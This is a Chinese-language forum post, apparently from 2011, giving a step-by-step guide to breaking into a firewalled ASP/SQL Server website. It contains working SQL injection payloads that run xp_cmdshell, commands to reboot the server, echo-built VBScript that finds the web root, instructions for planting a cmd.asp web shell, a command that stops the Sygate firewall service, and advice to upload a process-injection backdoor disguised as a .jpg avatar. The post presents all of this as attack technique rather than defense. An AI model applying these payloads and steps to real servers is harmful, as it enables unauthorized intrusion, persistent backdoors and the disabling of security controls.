SQL注入ASP漏洞的方法總結(jié)
當(dāng)前位置:點(diǎn)晴教程→知識(shí)管理交流
→『 技術(shù)文檔交流 』
裝上了防火墻的主機(jī),進(jìn)行入侵攻擊的大概思路小結(jié)一下。
首先當(dāng)然是用掃描器對(duì)這臺(tái)服務(wù)器(以下簡(jiǎn)稱(chēng)主機(jī)A)進(jìn)行常規(guī)的掃描,得到初步的信息。再用nmap -sS IP -P0 -p 139 ,透過(guò)防火墻查看是否開(kāi)有139端口。從上面得到的信息我們可以簡(jiǎn)單的判斷到:主機(jī)A的系統(tǒng)是什么,裝有防火墻的話(huà),一般是只允許80端口開(kāi)放的。如果能夠泄漏asp源文件,當(dāng)然是最好不過(guò)的了,但是一般難得遇到。如果主機(jī)A有show files之類(lèi)的CGI漏洞,我們就可以試著看能不能從conn.inc等可能存放密碼的文件得到有用的信息。 然后就要進(jìn)入重點(diǎn)了,尋找突破口。由于主機(jī)A裝有防火墻,所以就算其有其他的溢出漏洞都將會(huì)導(dǎo)致我們的不到shell(U漏洞就不講了)。在這種情況下,一般容易找到突破口的地方就是主機(jī)A上的新聞發(fā)布系統(tǒng)、論壇、聊天室。在這三個(gè)地方里最容易出毛病的地方,不少人都認(rèn)為是論壇,但是我在網(wǎng)上看到的大部分相關(guān)文章中發(fā)現(xiàn)漏洞的地方都是新聞發(fā)布系統(tǒng)。 好了,讓我們先來(lái)試試看在新聞發(fā)布系統(tǒng)的*.asp后面加上單引號(hào)’,再提交。返回: Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) /mingce/student1.asp, 第 26 行 或者是頁(yè)面正常,但不能夠顯示新聞列表,這樣看來(lái)就有一半的機(jī)會(huì)了。再讓我們將單引號(hào)改為分號(hào);,提交后如果能夠正常返回頁(yè)面,說(shuō)明這個(gè)asp沒(méi)有過(guò)濾分號(hào)。只要滿(mǎn)足這兩個(gè)條件,我們就可以有戲看了。為了跟進(jìn)一步的確定主機(jī)A到底是否有sql注入毛病,我們可以使用下面兩種方法簡(jiǎn)單測(cè)試一下:xp_cmdshell ’iisreset /reboot’或是xp_cmdshell ’ping 你.的.I.P’,如果第一個(gè)命令能執(zhí)行成功那么在半分鐘之內(nèi)遠(yuǎn)程系統(tǒng)會(huì)重啟一次的,第二個(gè)命令你自已的機(jī)子的防火墻通常會(huì)提示來(lái)至x.x.x.x的主機(jī)向你發(fā)送ICMP數(shù)據(jù),不過(guò)對(duì)于這種禁止任何數(shù)據(jù)出的主機(jī)第二個(gè)命令可能也不行。 現(xiàn)在我們將要想個(gè)辦法獲得shell了。利用xp_cmdshell我們可以直接添加系統(tǒng)賬戶(hù),如果主機(jī)A沒(méi)有防火墻的話(huà),再用IPC種植者之類(lèi)的工具就可以得到shell了,但是主機(jī)A是裝有防火墻的,所以我們首先考慮得到web shell ,就算權(quán)限低一點(diǎn)都沒(méi)有關(guān)系。 思路: 1)找到web目錄的路徑 2)用echo(也可利用sql表單)寫(xiě)入一個(gè)簡(jiǎn)單的cmd.asp,用來(lái)找到防火墻的具體名字等操作。 3)通過(guò)xp_cmdshell來(lái)關(guān)閉防火墻服務(wù) 要找到web目錄的路徑,在我看來(lái)有三種方法:一是,猜!什么c:\Inetpub\wwwroot c:\wwwroot c:\www 之類(lèi)的。二是,主機(jī)A上可能有其他ASP文件在提交非正常變量后會(huì)暴露其絕對(duì)路徑,還可以試試1’or’1那個(gè)著名漏洞 。三是czy82的方法(以下是轉(zhuǎn)貼的): ******************************************************************** 使用adsutil.vbs程序我是這樣執(zhí)行的 a’;exec master..xp_cmdshell ’cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt’;-- 是不是很長(zhǎng)啦:)通過(guò)它我們可以把iis里面第一個(gè)虛擬web站點(diǎn)的設(shè)置情況(當(dāng)然包括它所在的實(shí)際目錄咯)導(dǎo)入到a.txt中。 對(duì)于a.txt的實(shí)際位置默認(rèn)當(dāng)然是c:\winnt\system32,其實(shí)這都不是問(wèn)題,不過(guò)遇到管理員把a(bǔ)dsutil.vbs刪了或是放到別的地方我們就沒(méi)辦法了(不可能自已用echo 命令寫(xiě)一個(gè)吧)。 第二步:用echo命令寫(xiě)下面的代碼到c:\中,很多嗎也不算吧:) .....xp_cmdshell ’echo set fso1=createobject("scripting.filesystemobject")>c:\read.vbs’;-- .....xp_cmdshell ’echo Set WshShell = Wscript.CreateObject("Wscript.Shell")>>c:\read.vbs’;-- ..... -------------------read.vbs--------------------------------- set fso1=createobject("scripting.filesystemobject") Set WshShell = Wscript.CreateObject("Wscript.Shell") spa=WshShell.Environment("process")("windir") set fil =fso1.opentextfile(spa & "\system32\aa.txt") do while not fil.atendofstream nr=fil.readline if left(nr,4)="Path" then pa=mid(nr,instr(nr,")")+3,len(nr)-instr(nr,")")-3) exit do end if loop set fil1 =fso1.opentextfile(pa&"\dd.asp",2,true) fil1.writeline "" ---------------cut here-------------------------------------- 第三步:當(dāng)然就是執(zhí)行read.vbs三,這樣我們可以把a(bǔ)a.txt中的內(nèi)容讀出來(lái)找到web站點(diǎn)的實(shí)際路徑 然后寫(xiě)一個(gè)叫dd.asp的文件在web站的根目錄中,能否成功試試就知道咯 執(zhí)行http://x.x.x.x/dd.asp 返回:d:\xxx 看來(lái)我運(yùn)氣就是不錯(cuò)的哈(其實(shí)有個(gè)問(wèn)題是我們找的第一個(gè)web站點(diǎn)可能并不能通過(guò)x.x.x.x來(lái)仿問(wèn)) ******************************************************************** 這樣就可以得到web目錄的路徑,然后用echo 寫(xiě)個(gè)cmd.asp到其目錄下,這樣我們就可以得到一個(gè)web shell了。有了這個(gè)shell,我們可以使用net start查看開(kāi)有哪些服務(wù),或是查看主機(jī)A的開(kāi)始菜單,得到主機(jī)A所使用的防火墻名字,在通過(guò)xp_cmdshell將其關(guān)閉。比如a’;exec master..xp_cmdshell ’net stop smcservice’;-- (smcservice是sygate防火墻的服務(wù)名)。 上面講的大部分都出自于czy82發(fā)表的《只開(kāi)80端口主機(jī)的入侵思路(實(shí)戰(zhàn),原創(chuàng))》一文。而我自己也想了一點(diǎn)。當(dāng)我們得到web shell后,我們完全可以上傳系統(tǒng)進(jìn)程插入式SHELL(比如InjShell.exe),然后再用xp_cmdshell執(zhí)行這個(gè)后門(mén),就可以透過(guò)防火墻來(lái)了。至于怎樣上傳文件,一般去論壇部分找找回有不小的收獲,比如將要上傳的文件改為.jpg文件名,用于論壇頭像的上傳等方法。 上面講了很多,你可能沒(méi)有看出入侵的重點(diǎn),我這里提出來(lái): 1.找到存在sql注入毛病的asp文件,主要是看他是否過(guò)濾了引號(hào)和分號(hào)。 2.找到網(wǎng)站web的絕對(duì)路徑,除文中提到了三種方法外,你還可以試著在1433里面將sa該密碼,再回頭調(diào)用asp文件,一般會(huì)出現(xiàn)錯(cuò)誤并暴露絕對(duì)路徑。 3.得到web shell后,最好是要能夠找到一種上傳文件到主機(jī)上去的方法,從而更快的得到有權(quán)限的shell。 另外,在講講論壇和聊天室部分,可以先試著用google搜索主機(jī)上使用的論壇,有的論壇(或聊天室)將論壇管理員的密碼明文保存在一文件中,這樣就可以直接用瀏覽器訪問(wèn)這個(gè)文件了?;蛘咴囋噷how.asp?id=7之類(lèi)的asp文件,改動(dòng)ID后面的數(shù)7并提交,看能不能得到有用的信息。實(shí)在不行,還可以試試用跨站腳本攻擊。如果是雷奧、動(dòng)網(wǎng)之類(lèi)的有名的論壇,這可以嘗試著找找有沒(méi)有新的漏洞報(bào)告之類(lèi)的。 總之,一個(gè)網(wǎng)站要做的是一面墻,入侵者要做的就是在這堵墻上找縫隙鉆進(jìn)去。相比較而言,那個(gè)容易就不用我講了。 該文章在 2011/1/31 1:01:27 編輯過(guò) |
關(guān)鍵字查詢(xún)
相關(guān)文章
正在查詢(xún)... |